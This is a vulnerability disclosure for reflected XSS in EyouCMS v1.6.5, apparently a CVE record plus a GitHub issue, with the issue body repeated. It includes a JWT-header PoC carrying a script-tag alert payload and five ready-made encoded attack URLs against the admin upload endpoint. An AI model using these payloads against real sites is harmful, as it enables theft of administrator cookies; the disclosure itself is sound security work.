Cross Site Scripting (XSS) vulnerability in the func parameter in eyoucms v.1.6.5 allows a remote attacker to run arbitrary code via crafted URL.
cpe:2.3:a:eyoucms:eyoucms:1.6.5:*:*:*:*:*:*:*
C5AE12B9-F8D6-4F10-9B49-50E0263ECA55
OR
### **Summary**
EyouCMS-V1.6.5 When uploading images locally, the program will use the info parameter to set the parameters carried by the upload form.
Multiple reflective XSS vulnerabilities can be created by modifying the JWT encrypted HEADER of the accepted JSON data and setting the parameter it contains to a malicious value.
These parameters are: `num`,`input`,`path`,`func`,`is_water`
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/2c764b74-2d99-42c7-a339-5d7ee84893bb)
_There is no update on github, the latest installation package (V1.6.5) is:
https://qiniu.eyoucms.com/source/EyouCMS-V1.6.5-UTF8-SP1_1221.zip_
### **Details**
The exploit of this XSS vulnerability is mainly to construct the form to carry parameters, header is directly referenced by `<input>` into the page.
The info parameter should be replaced with a "+" if it contains a "-" after JWT encryption. The guess is that the developer may have incorrectly implemented the logic of URL encoding and decoding, resulting in accepting only "+" and not "-". This may be because they only consider standard URL encoding rules and ignore URL security encoding rules.
### **POC**
HEADER:ALGORITHM & TOKEN TYPE：
```
{
  "num": "1",
  "size": "2097152",
  "input": "",
  "func": "head_pic_call_back",
  "path": "allimg",
  "is_water": "1'\"()&%<zzz><ScRiPt >alert(9240)</ScRiPt>",
  "alg": "HS256"
}
```

**Note: you do not need to carry data when encrypting, just encrypt the corresponding parameter of the header, replace "-" with "+", and then perform url encoding.Don't go in the wrong order, or you'll convert the + to a space.**

**In Header, when the `num` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoOTc0NCk8L1NjUmlQdD4iLCJzaXplIjoiMjA5NzE1MiIsImlucHV0IjoiIiwiZnVuYyI6ImhlYWRfcGljX2NhbGxfYmFjayIsInBhdGgiOiJhbGxpbWciLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=

![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/4f8dc574-c907-4b25-963d-a3ddfe9198be)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/d09bbaf6-c0c4-4b58-9ca9-dcba2f82da58)

**In Header, when the `input` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IlwiPjxTY1JpUHQgPmFsZXJ0KDk3NDUpPC9TY1JpUHQ%2BIiwiZnVuYyI6ImhlYWRfcGljX2NhbGxfYmFjayIsInBhdGgiOiJhbGxpbWciLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/c3703b1c-5048-4b71-8592-37154f6e6e40)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/54cf66e7-851f-4c9e-ae92-5731771fb786)

**In Header, when the `path` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IiIsImZ1bmMiOiJoZWFkX3BpY19jYWxsX2JhY2siLCJwYXRoIjoiYWxsaW1nXCI%2BPFNjUmlQdCA%2BYWxlcnQoOTc0Nyk8L1NjUmlQdD4iLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/f823013c-2f1b-4ff7-89d8-d4d087fc4b73)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/8780b450-b4af-47a2-a8b9-ab6325fef35d)

**In Header, when the `func` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IiIsImZ1bmMiOiJoZWFkX3BpY19jYWxsX2JhY2tcIj48U2NSaVB0ID5hbGVydCg5NzQ2KTwvU2NSaVB0PiIsInBhdGgiOiJhbGxpbWciLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/b66d332d-d839-4a78-82e1-58b581b6c63f)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/3eac7adb-2bed-4615-bf46-68d64516a357)

**In Header, when the `is_water` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IiIsImZ1bmMiOiJoZWFkX3BpY19jYWxsX2JhY2siLCJwYXRoIjoiYWxsaW1nIiwiaXNfd2F0ZXIiOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoOTc0OCk8L1NjUmlQdD4iLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/fe40e3d7-fab9-4ace-b72c-90748c51be61)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/94ab81bc-369d-4f72-876f-02f0c43f398c)

### **Impact**
An administrator who is already logged in can have a cookie stolen after accessing the malicious url.




EyouCMS-V1.6.5 has multiple reflective XSS vulnerabilities
This is a GitHub Issue
repo:eyoucms
owner:weng-xianhu
Title : EyouCMS-V1.6.5 has multiple reflective XSS vulnerabilities
Issue date:

--- start body ---
### **Summary**
EyouCMS-V1.6.5 When uploading images locally, the program will use the info parameter to set the parameters carried by the upload form.
Multiple reflective XSS vulnerabilities can be created by modifying the JWT encrypted HEADER of the accepted JSON data and setting the parameter it contains to a malicious value.
These parameters are: `num`,`input`,`path`,`func`,`is_water`
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/2c764b74-2d99-42c7-a339-5d7ee84893bb)
_There is no update on github, the latest installation package (V1.6.5) is:
https://qiniu.eyoucms.com/source/EyouCMS-V1.6.5-UTF8-SP1_1221.zip_
### **Details**
The exploit of this XSS vulnerability is mainly to construct the form to carry parameters, header is directly referenced by `<input>` into the page.
The info parameter should be replaced with a "+" if it contains a "-" after JWT encryption. The guess is that the developer may have incorrectly implemented the logic of URL encoding and decoding, resulting in accepting only "+" and not "-". This may be because they only consider standard URL encoding rules and ignore URL security encoding rules.
### **POC**
HEADER:ALGORITHM & TOKEN TYPE：
```
{
  "num": "1",
  "size": "2097152",
  "input": "",
  "func": "head_pic_call_back",
  "path": "allimg",
  "is_water": "1'\"()&%<zzz><ScRiPt >alert(9240)</ScRiPt>",
  "alg": "HS256"
}
```

**Note: you do not need to carry data when encrypting, just encrypt the corresponding parameter of the header, replace "-" with "+", and then perform url encoding.Don't go in the wrong order, or you'll convert the + to a space.**

**In Header, when the `num` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoOTc0NCk8L1NjUmlQdD4iLCJzaXplIjoiMjA5NzE1MiIsImlucHV0IjoiIiwiZnVuYyI6ImhlYWRfcGljX2NhbGxfYmFjayIsInBhdGgiOiJhbGxpbWciLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=

![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/4f8dc574-c907-4b25-963d-a3ddfe9198be)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/d09bbaf6-c0c4-4b58-9ca9-dcba2f82da58)

**In Header, when the `input` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IlwiPjxTY1JpUHQgPmFsZXJ0KDk3NDUpPC9TY1JpUHQ%2BIiwiZnVuYyI6ImhlYWRfcGljX2NhbGxfYmFjayIsInBhdGgiOiJhbGxpbWciLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/c3703b1c-5048-4b71-8592-37154f6e6e40)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/54cf66e7-851f-4c9e-ae92-5731771fb786)

**In Header, when the `path` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IiIsImZ1bmMiOiJoZWFkX3BpY19jYWxsX2JhY2siLCJwYXRoIjoiYWxsaW1nXCI%2BPFNjUmlQdCA%2BYWxlcnQoOTc0Nyk8L1NjUmlQdD4iLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/f823013c-2f1b-4ff7-89d8-d4d087fc4b73)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/8780b450-b4af-47a2-a8b9-ab6325fef35d)

**In Header, when the `func` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IiIsImZ1bmMiOiJoZWFkX3BpY19jYWxsX2JhY2tcIj48U2NSaVB0ID5hbGVydCg5NzQ2KTwvU2NSaVB0PiIsInBhdGgiOiJhbGxpbWciLCJpc193YXRlciI6IjEiLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/b66d332d-d839-4a78-82e1-58b581b6c63f)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/3eac7adb-2bed-4615-bf46-68d64516a357)

**In Header, when the `is_water` parameter causes a reflected XSS vulnerability, the payload is:**
http://192.168.160.147/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxIiwic2l6ZSI6IjIwOTcxNTIiLCJpbnB1dCI6IiIsImZ1bmMiOiJoZWFkX3BpY19jYWxsX2JhY2siLCJwYXRoIjoiYWxsaW1nIiwiaXNfd2F0ZXIiOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoOTc0OCk8L1NjUmlQdD4iLCJhbGciOiJIUzI1NiJ9&lang=cn&m=admin&unneed_syn=
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/fe40e3d7-fab9-4ace-b72c-90748c51be61)
![image](https://github.com/weng-xianhu/eyoucms/assets/66168888/94ab81bc-369d-4f72-876f-02f0c43f398c)

### **Impact**
An administrator who is already logged in can have a cookie stolen after accessing the malicious url.




--- end body ---

comments :
--- start comments ---

--- end comments ---